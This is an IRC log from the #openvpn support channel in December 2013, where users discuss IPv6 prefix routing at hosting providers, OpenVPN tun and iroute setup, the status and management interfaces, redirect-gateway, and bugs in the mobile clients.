08:26 < m01> I think it's this: https://code.google.com/p/android/issues/detail?id=62714, at least judging by the logcat messages
08:27 < Cpt-Oblivious> ah, well my server has no ipv6 support atm either. I'm moving it into colo early january though, so I could try then.
08:28 < m01> ah.. hopefully your colo ISP offers v6! :)
08:30 < Cpt-Oblivious> Yea they do.
08:30 < Cpt-Oblivious> I get 5 ipv4's and a /64 I believe.
08:30 < m01> excellent
08:31 < Cpt-Oblivious> I'm testing openvpn on gigabit lan atm
08:31 < Cpt-Oblivious> I wonder what kind of throughput i'm going to get
08:31 < m01> the number of packets per second would be another interesting metric
08:32 < m01> I mainly use it to avoid people snooping on me in public hotspots :)
08:33 < pekster> Only 1 /64? Though if it's _routed_ that's better than dumb hosting Co's that put it on-link :(
08:34 < m01> Now that you mention that pekster, I wonder what my VPS provider does - I get 1 v6 address + 1 /64 (separate range)
08:35 < pekster> That's how it's supposed to work
08:35 < m01> If it's on-link you'd need to run this neighbour proxy daemon, right?
08:35 < pekster> Yea, and that's basically a hack
08:36 < pekster> I think it's OVH and Hetzner (both shitty hosting companies) that give you a /48 IIRC, but put it on-link. It's just stupid
08:36 < m01> putting a /48 on-link is indeed a bit strange
08:36 < Cpt-Oblivious> I believe my colo provider routes them
08:36 < m01> what's the best way to tell? look for the prefixes in RAs?
08:37 < pekster> Yea, routing is what you're supposed to do, and you're also supposed to be able to get what you need for address space; asking for up to a /56 if you need it sounds reasonable to me, though many people won't need more than the on-link allocation (sometimes just 1 IP) or a single routed /64 (for say an openvpn server)
08:38 < pekster> If your uplink is configured as larger than a /64, the hosting company has zero cule what they're doing; that's how you tell ;)
08:38 < pekster> It's a good tip they probably don't have the fundamentals right and aren't worth your money
08:38 < m01> well, at least they offer ipv6 - there are plenty that don't even do that
08:39 < pekster> Offering it and doing it obviously wrong isn't really any better; in fact it's possibly slightly worse given that you can get a free broker account (at tunnelbroker.net or sixxs.net) that does do things right
08:39 < pekster> It's as stupid as a customer buying a /21 (let's say) and putting all 2048 IPs on one network, not routing
08:40 < Cpt-Oblivious> ipv4 / ipv6 is being offered Dual Stack
08:40 < Cpt-Oblivious> according to website of my colo
08:41 < pekster> Anyway, for OpenVPN, you probably want a /64 unless you know that you won't have any of the 2.2.x-era early-preview IPv6 patchet users connecting as that only supports a /64; as of 2.3.0, the official feature supports smaller networks
08:41 < pekster> a /64 _per_ VPN, of course
08:41 < pekster> DS doesn't mean they got IPv6 right :P
08:42 < m01> to be honest, I think a /64 for a small-scale VPN is incredibly excessive
08:42 < m01> thankfully OpenVPN doesn't rely on SLAAC :)
08:42 < pekster> If you go smaller you risk breaking debian's current package support
08:42 < pekster> YMMV, and feel free to go smaller if you're sure you OK with that
08:43 < pekster> Addressing is easy; if you can't obtian a /56 on-request, your ISP sucks and you need a new one. Ref: RFC6177
08:43 < Cpt-Oblivious> pekster: http://serverius.com/services/ip-transit-services
08:43 <@vpnHelper> Title: Premium ip-transit in europe Amsterdam - 1Gbps 10Gbps and 40Gbps ports (at serverius.com)
08:43 < pekster> Yea, that's just marketing FUD and I'm not really interested in doing your homework
08:44 < Cpt-Oblivious> I'll see if it works :) I care too much about ipv6
08:44 < pekster> m01: IPv6 info for OpenVPN at !ipv6; the wiki has info about the 2.2-era patches and /64 requirements
08:45 < m01> thanks.. I've got it all setup now, apart from my android issue, but I'll look into that more some other time
08:45 < m01> I'm usinga /64 because I don't have any other use for it at the moment
08:45 < pekster> Just ask for a /56 if you do
08:46 < pekster> If they can't provide it (maybe after a little coaxing/hint about RFC6177) then they're probably idiots ;)
08:47 < m01> I'll keep it in mind
08:47 < m01> thanks :)
08:47 < m01> wish asking my residential broadband ISP for a /56 would lead to anything
08:48 < pekster> Smaller than /64 is sort of acceptable for networks you 1) won't use SLAAC and 2) you know won't ever use SLAAC, and (in openvpn's case) 3) you know won't ever need to accept debian (or orther 3rd party) 2.2.x IPv6 early-feature support
08:49 < pekster> I ran a /112 for a while for my IPv6 VPN, but I moved back to a /64 when it broke for debian clients (I've got a few laptops with "whatever debian ships")
08:50 < m01> I see
08:51 < m01> ok
08:52 < m01> after finding the right package with rdisc6, I can confirm that my VPS has a /126 on link, so I assume the /64 is routed
08:52 < pekster> Yup, quite standard to do something like that
08:55 < m01> saves me running npd6
08:55  * m01 is happy
08:56 < pekster> Right. If bridging was such a smart idea we'd just put 0::/0 on-link :P
08:58 -!- KiNgMaR [~ingmar@2001:41d0:2:ba51::1] has quit [Quit: ZNC - http://znc.sourceforge.net]
08:58 < m01> do you know if configuring multiple ipv6 addresses on the tun0 interface with OpenVPN is expected to work?
09:03 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
09:03 -!- KiNgMaR [~ingmar@2001:41d0:2:ba51::1] has joined #openvpn
09:03 < pekster> You'd probably need to use --iroute for that in tun mode, otherwise openvpn's built-in anti-spoof protection won't let you do that
09:03 < pekster> I haven't actually tried it with a 2nd IP from the same network, so Try It And See
09:04 < m01> interesting.. ok
09:04 < m01> I thought it might confuse some of the other defaults (like what to use as default gateway)
09:05 < pekster> Depends a bit on what you're doing as far as routing now (and if those "multiple addresses" are on the same network or not)
09:06 < m01> I would've used the same network
09:06 < pekster> --iroute is the only openvpn-specific voodoo you need; the rest is plain routing
09:06 < m01> just <prefix>::1 and <prefix>::2 rather than just ::1
09:06 < pekster> Oh, for your server?
09:06 < m01> yeah
09:07 < pekster> The server shouldn't need anything special to do that besides somehow gettting the 2nd IP configured. I don't really see the point, but it should magically work out of the box (I think)
09:07 < pekster> --iroute is when you have extra IPs on a client (usually a client-side network, but you can get clever to allow multiple client IPs too with a /32 or /128 "network")
09:07 < m01> aah ok
09:12 -!- Cpt-Oblivious [~chatzilla@31-151-87-204.dynamic.upc.nl] has quit [Ping timeout: 248 seconds]
09:20 -!- wallbroken [~wallbroke@unaffiliated/wallbroken] has joined #openvpn
09:29 -!- pagios [~pagioss@gateway/shell/bnc4free/x-dxeaqiejdlqtykes] has quit [Max SendQ exceeded]
09:30 -!- pagioss [pagioss@gateway/shell/bnc4free/x-nasmemdmagwjbumn] has joined #openvpn
09:33 -!- KiNgMaR [~ingmar@2001:41d0:2:ba51::1] has quit [Ping timeout: 245 seconds]
09:41 -!- master_o1_master [~master_of@p4FD7BBA7.dip0.t-ipconnect.de] has joined #openvpn
09:42 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
09:44 -!- master_of_master [~master_of@p4FD7BF26.dip0.t-ipconnect.de] has quit [Ping timeout: 252 seconds]
10:14 -!- elfixit [~Icedove@2a02:120b:2c3e:2c50:3e97:eff:fe7f:f3ad] has joined #openvpn
10:23 -!- Jaska_ [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has joined #openvpn
10:28 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Remote host closed the connection]
10:29 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
10:29 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
10:32 -!- niggardly [~andromeda@gateway/tor-sasl/martinphone] has joined #openvpn
11:04 -!- Cubox is now known as CUBOX
11:19 -!- pagioss is now known as pagios
11:53 -!- NP-Hardass [~NP-Hardas@unaffiliated/np-hardass] has quit [Quit: WeeChat 0.4.1]
11:58 < Romance> is it safe to open one tun driver for each port?
12:04 -!- JackWinter_ [~jack@vodsl-4669.vo.lu] has joined #openvpn
12:04 -!- oO0Oo- [o_o@gateway/shell/elitebnc/x-yuelwchshopvjufn] has joined #openvpn
12:04 -!- stephan48 [stephan@nemesis.stejau.de] has joined #openvpn
12:04 -!- stephan48 [stephan@nemesis.stejau.de] has quit [Changing host]
12:04 -!- stephan48 [stephan@opennic/stephan] has joined #openvpn
12:04 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Disconnected by services]
12:04 -!- dimm0k_ [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
12:05 -!- red_racer12_ [sid20963@gateway/web/irccloud.com/x-rgihcsdgljldrilr] has joined #openvpn
12:05 -!- oO0Oo [o_o@gateway/shell/elitebnc/x-anrnmpnpnezusgze] has quit [Ping timeout: 240 seconds]
12:05 -!- red_racer12 [sid20963@gateway/web/irccloud.com/x-tjhbjunbuqspedpu] has quit [Ping timeout: 263 seconds]
12:05 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 240 seconds]
12:05 -!- MyMind [~Sembei@unaffiliated/sembei] has quit [Ping timeout: 240 seconds]
12:05 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
12:05 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 263 seconds]
12:05 -!- stephanj [stephan@opennic/stephan] has quit [Ping timeout: 240 seconds]
12:05 -!- tapout [~tapout@unaffiliated/tapout] has quit [Ping timeout: 263 seconds]
12:05 -!- pepijnd [pepijndevo@2a00:dcc0:eda:3754:247:55:9194:8ed6] has quit [Ping timeout: 263 seconds]
12:05 -!- dvl [~dan@pdpc/supporter/active/dvl] has quit [Ping timeout: 240 seconds]
12:05 -!- dandy [~dandy@2a01:360:106::2] has quit [Ping timeout: 240 seconds]
12:05 -!- Cultist [~CultOfThe@2601:d:9280:fc:8634:97ff:fe17:5dc3] has quit [Ping timeout: 240 seconds]
12:05 -!- troyt [~troyt@2601:7:6d00:432:44dd:acff:fe85:9c8e] has quit [Ping timeout: 240 seconds]
12:05 -!- JackWinter [~jack@vodsl-4669.vo.lu] has quit [Ping timeout: 240 seconds]
12:05 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has quit [Ping timeout: 240 seconds]
12:05 -!- moyam01 [~moyam01@2607:f790:fff0:ffff:158::] has quit [Ping timeout: 240 seconds]
12:05 -!- lbft [~lbft@unaffiliated/lbft] has quit [Ping timeout: 240 seconds]
12:05 -!- Gman32 [~Gman32@2607:5300:60:2b74::1] has quit [Ping timeout: 240 seconds]
12:05 -!- s0meone [someone@2600:3c01::f03c:91ff:fedf:feb8] has quit [Ping timeout: 240 seconds]
12:05 -!- red_racer12_ is now known as red_racer12
12:06 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
12:06 -!- pepijndevos [pepijndevo@2a00:dcc0:eda:3754:247:55:9194:8ed6] has joined #openvpn
12:06 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
12:06 -!- Cultist [~CultOfThe@c-24-12-53-28.hsd1.il.comcast.net] has joined #openvpn
12:06 -!- s0meone [someone@2600:3c01::f03c:91ff:fedf:feb8] has joined #openvpn
12:06 -!- dandy [~dandy@2a01:360:106::2] has joined #openvpn
12:06 -!- mode/#openvpn [+o krzee] by ChanServ
12:06 -!- Gman32 [~Gman32@2607:5300:60:2b74::1] has joined #openvpn
12:07 -!- MyMind [~Sembei@62.57.118.216.dyn.user.ono.com] has joined #openvpn
12:07 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
12:08 -!- MyMind is now known as Guest47088
12:09 -!- moyam01 [~moyam01@2607:f790:fff0:ffff:158::] has joined #openvpn
12:10 -!- Guest47088 [~Sembei@62.57.118.216.dyn.user.ono.com] has quit [Client Quit]
12:11 -!- Sembei [~Sembei@62.57.118.216.dyn.user.ono.com] has joined #openvpn
12:11 < pekster> Romance: "per port"? You mean for multiple openvpn instances? Each instance needs its own tun device (and its own unique network.) If you want to expose the same instance on >1 port, you might do port-NAT instead
12:12 -!- Sembei is now known as Guest7747
12:23 -!- lbft [~lbft@unaffiliated/lbft] has joined #openvpn
12:28 -!- troyt [~troyt@2601:7:6d00:432:44dd:acff:fe85:9c8e] has joined #openvpn
12:29 -!- tapout [~tapout@unaffiliated/tapout] has joined #openvpn
12:32 < havoc> !android
12:32 <@vpnHelper> "android" is (#1) an open source OpenVPN client for ICS is available in Google Play, look for OpenVPN for Android. FAQ is here: http://code.google.com/p/ics-openvpn/wiki/FAQ or (#2) If you do not have cyanogenmod or ICS, but your device is rooted, you can use android-openvpn-installer and openvpn-settings from the market or (#3) Direct Play link:
12:32 <@vpnHelper> https://play.google.com/store/apps/details?id=de.blinkt.openvpn
12:43 -!- g0uZ [~NickServ@ALyon-652-1-206-151.w2-3.abo.wanadoo.fr] has joined #openvpn
12:45 -!- g0uZ [~NickServ@ALyon-652-1-206-151.w2-3.abo.wanadoo.fr] has quit [Client Quit]
12:45 -!- g0uZ [~NickServ@ALyon-652-1-206-151.w2-3.abo.wanadoo.fr] has joined #openvpn
12:50 -!- g0uZ [~NickServ@ALyon-652-1-206-151.w2-3.abo.wanadoo.fr] has quit [Ping timeout: 240 seconds]
13:05 -!- dimm0k_ is now known as dimm0k
13:10 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Quit: calcifea]
13:11 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
13:13 < havoc> oh sweet, all setup and working, nice :)
13:16 -!- sailerboy [~sailerboy@sailerboy.net] has quit [Ping timeout: 250 seconds]
13:17 -!- PackardBell [~Cor@eternalproject.org] has quit [Ping timeout: 250 seconds]
13:17 -!- PackardBell [~Cor@eternalproject.org] has joined #openvpn
13:19 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has joined #openvpn
13:19 -!- Nikon [~Nikon@d24-235-162-103.home1.cgocable.net] has joined #openvpn
13:20 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has quit [Quit: leaving]
13:20 < Nikon> hey guys, is there anyway to set up a web interface showing which clients are online from the server?
13:24 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood]
13:27 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
13:27 -!- mode/#openvpn [+o krzee] by ChanServ
13:29 < pekster> Nikon: Yup; write a frontend that parses one of: A) the --status file output, B) --management output that tracks client connect/disconnect, C) parses the log output after a SIGUSR2, or D) tracking done by --client-connect & --client-dissconnect
13:30 -!- kisom_ [~kisom@kisom.thr.kth.se] has joined #openvpn
13:30 -!- diddly_ [~dave@blk-222-90-9.eastlink.ca] has joined #openvpn
13:30 -!- Varazir_ [~mircwars@c-94-255-130-121.cust.bredband2.com] has joined #openvpn
13:30 -!- andi [~andi@unaffiliated/fr00d] has quit [Disconnected by services]
13:30 -!- andi_ [~andi@shell.sixhop.net] has joined #openvpn
13:31 -!- sauce_ [sauce@ool-ad02ad20.dyn.optonline.net] has joined #openvpn
13:31 -!- Cultist_ [~CultOfThe@c-24-12-53-28.hsd1.il.comcast.net] has joined #openvpn
13:31 < Nikon> pekster: what do you mean status?
13:31 -!- kossy_ [a@kossy.org] has joined #openvpn
13:32 -!- kossy [a@209.159.137.148] has quit [Ping timeout: 250 seconds]
13:32 -!- sauce [sauce@unaffiliated/sauce] has quit [Ping timeout: 250 seconds]
13:32 -!- diddly [~dave@blk-222-90-9.eastlink.ca] has quit [Ping timeout: 250 seconds]
13:32 -!- kisom [~kisom@kisom.thr.kth.se] has quit [Ping timeout: 250 seconds]
13:32 -!- Cultist [~CultOfThe@c-24-12-53-28.hsd1.il.comcast.net] has quit [Ping timeout: 250 seconds]
13:32 -!- aji [~alex@atheme/member/aji] has quit [Ping timeout: 250 seconds]
13:32 -!- Varazir [~mircwars@c-94-255-130-121.cust.bredband2.com] has quit [Ping timeout: 250 seconds]
13:32 -!- sauce_ is now known as sauce
13:32 -!- sauce [sauce@ool-ad02ad20.dyn.optonline.net] has quit [Changing host]
13:32 -!- sauce [sauce@unaffiliated/sauce] has joined #openvpn
13:33 -!- aji [~alex@atheme/member/aji] has joined #openvpn
13:34 < pekster> Nikon: --status in the manpage:
13:34 < pekster> !man
13:34 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
13:56 <@krzee> !management
13:56 <@vpnHelper> "management" is (#1) see http://openvpn.net/management for doc on management interface or (#2) read http://svn.openvpn.net/projects/openvpn/obsolete/BETA21-preauto/openvpn/management/management-notes.txt if you are a programmer making a GUI that will interact with OpenVPN or (#3) Enable with `--management 127.0.0.1 1234` (adjust port to taste.) See the manpage for pw and socket options
13:58 < pekster> Let's clean that up
13:58 < pekster> !forget management 2
13:58 <@vpnHelper> Joo got it.
13:58 < pekster> !forget management 2
13:58 <@vpnHelper> Joo got it.
13:58 < pekster> !learn management as ead https://github.com/OpenVPN/openvpn/blob/release/2.3/doc/management-notes.txt if you are a programmer making a GUI that will interact with OpenVPN
13:58 <@vpnHelper> Joo got it.
13:58 < pekster> !forget management 2
13:58 <@vpnHelper> Joo got it.
13:58 < pekster> !learn management as read https://github.com/OpenVPN/openvpn/blob/release/2.3/doc/management-notes.txt if you are a programmer making a GUI that will interact with OpenVPN
13:58 <@vpnHelper> Joo got it.
13:58 < pekster> !learn management as Enable with `--management 127.0.0.1 1234` (adjust port to taste.) See the manpage for pw and socket options
13:58 <@vpnHelper> Joo got it.
14:10 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
14:28 -!- Cultist_ is now known as Cultist
15:11 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
15:11 < stephan48> is it possible to push a different gateway than the local node via openvpn?
15:22 < Thermi> !redirect_Gateway
15:22 < Thermi> !redirect_gateway
15:23 -!- kossy_ is now known as kossy
15:24 < pekster> stephan48: You want to redirect Internet-bound traffic across the VPN link? See !redirect if so
15:25 < stephan48> jzup
15:25 < stephan48> via ac certain node known to the vpn server
15:26 < stephan48> !redirect
15:26 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
15:26 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
15:29 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Quit: calcifea]
15:30 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
15:32 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
15:32 -!- phunyguy [~phunyguy@unaffiliated/phunyguy] has quit [Remote host closed the connection]
15:33 -!- phunyguy [~phunyguy@unaffiliated/phunyguy] has joined #openvpn
15:40 -!- troj [~xxx@2001:470:1f15:107a::50f7] has quit [Max SendQ exceeded]
15:40 -!- dvl [~dan@nyi.unixathome.org] has quit [Ping timeout: 240 seconds]
15:41 -!- troj [~xxx@2001:470:1f15:107a::50f7] has joined #openvpn
15:47 -!- Chaot_s [~chaot_s@d54C40070.access.telenet.be] has quit [Ping timeout: 264 seconds]
16:05 -!- phunyguy [~phunyguy@unaffiliated/phunyguy] has quit [Ping timeout: 240 seconds]
16:07 -!- phunyguy [~phunyguy@unaffiliated/phunyguy] has joined #openvpn
16:13 -!- KiNgMaR [~ingmar@2001:41d0:2:ba51::1] has joined #openvpn
16:21 -!- niggardly [~andromeda@gateway/tor-sasl/martinphone] has quit [Remote host closed the connection]
16:22 -!- niggardly [~andromeda@gateway/tor-sasl/martinphone] has joined #openvpn
16:24 -!- phunyguy [~phunyguy@unaffiliated/phunyguy] has quit [Ping timeout: 240 seconds]
16:37 -!- Nikon [~Nikon@d24-235-162-103.home1.cgocable.net] has quit [Read error: Connection reset by peer]
16:40 -!- Guest7747 [~Sembei@62.57.118.216.dyn.user.ono.com] has quit [Quit: WeeChat 0.4.3-dev]
16:45 -!- KiNgMaR [~ingmar@2001:41d0:2:ba51::1] has quit [Ping timeout: 260 seconds]
16:48 -!- KiNgMaR [~ingmar@2001:41d0:2:ba51::1] has joined #openvpn
16:54 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
16:57 -!- dvl [~dan@nyi.unixathome.org] has quit [Changing host]
16:57 -!- dvl [~dan@pdpc/supporter/active/dvl] has joined #openvpn
17:17 -!- KiNgMaR [~ingmar@2001:41d0:2:ba51::1] has quit [Ping timeout: 245 seconds]
17:29 -!- Six6siX [~Devil@jasmine.sammybakar.com] has quit [Read error: Connection reset by peer]
17:35 -!- Six6siX [~Devil@jasmine.sammybakar.com] has joined #openvpn
17:35 -!- elfixit [~Icedove@2a02:120b:2c3e:2c50:3e97:eff:fe7f:f3ad] has quit [Ping timeout: 252 seconds]
17:37 -!- Sembei [~Sembei@unaffiliated/sembei] has joined #openvpn
17:38 -!- elfixit [~Icedove@2a02:120b:2c3e:2c50:3e97:eff:fe7f:f3ad] has joined #openvpn
17:41 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Read error: Connection reset by peer]
17:45 -!- elfixit [~Icedove@2a02:120b:2c3e:2c50:3e97:eff:fe7f:f3ad] has quit [Ping timeout: 252 seconds]
17:46 -!- elfixit [~Icedove@2a02:1205:504d:a700:3e97:eff:fe7f:f3ad] has joined #openvpn
17:56 -!- KiNgMaR [~ingmar@2001:41d0:2:ba51::1] has joined #openvpn
18:05 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Remote host closed the connection]
18:06 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
18:11 -!- ngharo [~ngharo@nexus.sypherz.com] has quit [Ping timeout: 245 seconds]
18:15 -!- ngharo [~ngharo@nexus.sypherz.com] has joined #openvpn
18:29 -!- KiNgMaR [~ingmar@2001:41d0:2:ba51::1] has quit [Ping timeout: 260 seconds]
18:33 -!- skwelch [~ma1com10t@host-92-20-50-44.as13285.net] has joined #openvpn
18:35 < skwelch> !linux
18:36 < skwelch> !firewall
18:36 <@vpnHelper> "firewall" is (#1) please see https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbBG for more info or (#2) see http://www.secure-computing.net/wiki/index.php/OpenVPN/Firewall for brief notes on disabling firewall rulesets. or (#3) Please see this for a better method to unloading netfilter (aka iptables ) rules: https://gist.github.com/QueuingKoala/6350127
18:43 -!- phunyguy [~phunyguy@unaffiliated/phunyguy] has joined #openvpn
19:06 -!- troj [~xxx@2001:470:1f15:107a::50f7] has quit [Ping timeout: 264 seconds]
19:07 -!- u0m3 [~u0m3@109.96.141.150] has quit [Quit: Leaving]
19:29 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
19:44 -!- elfixit [~Icedove@2a02:1205:504d:a700:3e97:eff:fe7f:f3ad] has quit [Quit: elfixit]
19:44 -!- skwelch [~ma1com10t@host-92-20-50-44.as13285.net] has left #openvpn []
19:44 -!- juxta [~rootkit@ppp203-122-193-94.static.internode.on.net] has quit [Ping timeout: 264 seconds]
19:46 -!- juxta [~rootkit@ppp203-122-193-94.static.internode.on.net] has joined #openvpn
20:02 -!- NP-Hardass [~NP-Hardas@unaffiliated/np-hardass] has joined #openvpn
20:21 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
20:21 -!- mode/#openvpn [+v s7r] by ChanServ
20:24 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
20:27 -!- NP-Completeass [~NP-Hardas@unaffiliated/np-hardass] has joined #openvpn
20:28 -!- NP-Hardass [~NP-Hardas@unaffiliated/np-hardass] has quit [Quit: WeeChat 0.4.1]
20:50 < phunyguy> does anyone here have experience with Endian Firewall's implementation of OpenVPN?  I have some cert questions, and I can't get it to work.  I created the server and client cert, but I am getting TLS errors.
20:51 < phunyguy> http://pastebin.com/esbpWJWu  <--- server-side error
21:11 -!- rajkosto [~Rajko@178-221-28-121.dynamic.isp.telekom.rs] has joined #openvpn
21:14 -!- timxzl [~timxzl@mobile-130-126-255-64.near.illinois.edu] has joined #openvpn
21:17 < timxzl> hello! I am an OpenVPN connect (iOS) user. Currently the iOS client does not honor keepalive options. It will automatically disconnect after about 30 seconds of inactivity, even though I set the keepalive to something like "1000 5000" on both sides. Is that a known bug? I know that it is a known bug (not honoring keepalive) in the Android client, but for iOS client, I want to confirm that. Thanks!
21:18 < rajkosto> hi there's a problem with persistent tunnels
21:19 < rajkosto> it doesnt remove the ipv6 address on exit, so next time when it tries, it fails to ifconfig the ipv6
21:21 < rajkosto> i posted a ticket about it 3 years ago and even now that ipv6 is mainline in 2.3.x, it's still a problem
21:35 < rajkosto> anyone know how to initiate the mtu-test ?
21:53 -!- phunyguy [~phunyguy@unaffiliated/phunyguy] has quit [Read error: Operation timed out]
21:58 -!- james41382 [~james@unaffiliated/james41382] has quit [Quit: Leaving]
21:58 -!- moyam01 [~moyam01@2607:f790:fff0:ffff:158::] has quit [Remote host closed the connection]
22:14 -!- rajkosto [~Rajko@178-221-28-121.dynamic.isp.telekom.rs] has quit [Read error: Connection reset by peer]
22:14 -!- Rajko [~Rajko@178-221-28-121.dynamic.isp.telekom.rs] has joined #openvpn
22:20 -!- Rajko [~Rajko@178-221-28-121.dynamic.isp.telekom.rs] has quit [Ping timeout: 248 seconds]
22:22 -!- rajkosto [~Rajko@178-221-28-121.dynamic.isp.telekom.rs] has joined #openvpn
22:26 -!- lbft is now known as lbft-ded
22:27 -!- lbft-ded is now known as lbft
22:27 -!- niggardly [~andromeda@gateway/tor-sasl/martinphone] has quit [Remote host closed the connection]
22:34 -!- rajkosto [~Rajko@178-221-28-121.dynamic.isp.telekom.rs] has quit [Ping timeout: 248 seconds]
22:53 -!- bitrot [~Rajko@evs.port0.org] has joined #openvpn
22:53 -!- bitrot is now known as rajkosto
22:55 -!- toobluesc [~nitro@2001:558:6045:7b:3d70:c3df:18a:884] has joined #openvpn
23:11 < rajkosto> hi i have ipv6 working but it's not being forwarded to my PCs
23:11 < rajkosto> ipv6 working on router*
23:11 -!- rajkosto [~Rajko@evs.port0.org] has left #openvpn ["Leaving"]
23:33 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Ping timeout: 264 seconds]
23:57 -!- Rajko [~Rajko@evs.port0.org] has joined #openvpn
23:58 -!- Rajko is now known as rajkosto
23:58 < rajkosto> is ipv6 support not an add-on in 2.3.x ?
--- Day changed Sun Dec 15 2013
00:02 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
00:06 -!- rajkosto [~Rajko@evs.port0.org] has quit [Read error: Connection reset by peer]
00:07 -!- rajkosto [~Rajko@evs.port0.org] has joined #openvpn
00:23 < obesd> x509
00:23 < obesd> x509 + asn.1 + md5 is asking for it so much like they must have designed it for that on purpose
00:46 < rajkosto> https://community.openvpn.net/openvpn/ticket/354 ipv6 regression in 2.3.x that i didn't have any problems with in 2.1.x with the IPv6 payload patch
00:46 <@vpnHelper> Title: #354 (push "route-ipv6 ..." doesn't behave properly like push "route ..." on the client which owns that subnet) – OpenVPN Community (at community.openvpn.net)
00:56 -!- timxzl [~timxzl@mobile-130-126-255-64.near.illinois.edu] has left #openvpn []
01:21 -!- rajkosto [~Rajko@evs.port0.org] has quit [Read error: Connection reset by peer]
01:22 -!- rajkosto [~Rajko@evs.port0.org] has joined #openvpn
01:23 -!- rajkosto [~Rajko@evs.port0.org] has quit [Read error: Connection reset by peer]
01:23 -!- rajkosto [~Rajko@evs.port0.org] has joined #openvpn
01:38 -!- rajkosto [~Rajko@evs.port0.org] has quit [Read error: Connection reset by peer]
01:43 -!- rajkosto [~Rajko@178-221-28-121.dynamic.isp.telekom.rs] has joined #openvpn
01:47 -!- rajkosto [~Rajko@178-221-28-121.dynamic.isp.telekom.rs] has quit [Ping timeout: 248 seconds]
01:49 -!- rajkosto [~Rajko@178-221-28-121.dynamic.isp.telekom.rs] has joined #openvpn
01:53 -!- rajkosto [~Rajko@178-221-28-121.dynamic.isp.telekom.rs] has quit [Ping timeout: 248 seconds]
01:55 -!- rajkosto [~Rajko@178-221-28-121.dynamic.isp.telekom.rs] has joined #openvpn
02:01 -!- rajkosto [~Rajko@178-221-28-121.dynamic.isp.telekom.rs] has quit [Ping timeout: 248 seconds]
02:01 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
02:01 -!- lilibox [~franta_bi@93.99.40.10] has quit [Read error: Connection reset by peer]
02:02 -!- lilibox [~franta_bi@93.99.40.10] has joined #openvpn
02:09 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 252 seconds]
02:21 -!- s7r [~s7r@openvpn/user/s7r] has quit [Remote host closed the connection]
02:21 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
02:21 -!- mode/#openvpn [+v s7r] by ChanServ
02:26 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit []
02:28 < wallbroken> guys, what is the best way to create key ?
03:07 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
03:08 -!- KiNgMaR [~ingmar@2001:41d0:2:ba51::1] has joined #openvpn
03:19 < pekster> wallbroken: That depends on what kind of key; openvpn supports static keys for non-TLS p2p mode (or --tls-auth keys) and asymmetric RSA keypairs for X.509 authentication
03:20 -!- Sembei [~Sembei@unaffiliated/sembei] has quit [Quit: WeeChat 0.4.3-dev]
03:27 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 264 seconds]
03:31 -!- james41382 [~james@unaffiliated/james41382] has quit [Ping timeout: 248 seconds]
03:34 -!- Cpt-Oblivious [~chatzilla@31-151-87-204.dynamic.upc.nl] has joined #openvpn
03:36 -!- keithzg [~quassel@184.70.164.246] has quit [Ping timeout: 252 seconds]
03:39 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
03:40 -!- keithzg [~quassel@184.70.164.246] has joined #openvpn
03:41 -!- KiNgMaR [~ingmar@2001:41d0:2:ba51::1] has quit [Ping timeout: 245 seconds]
03:46 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
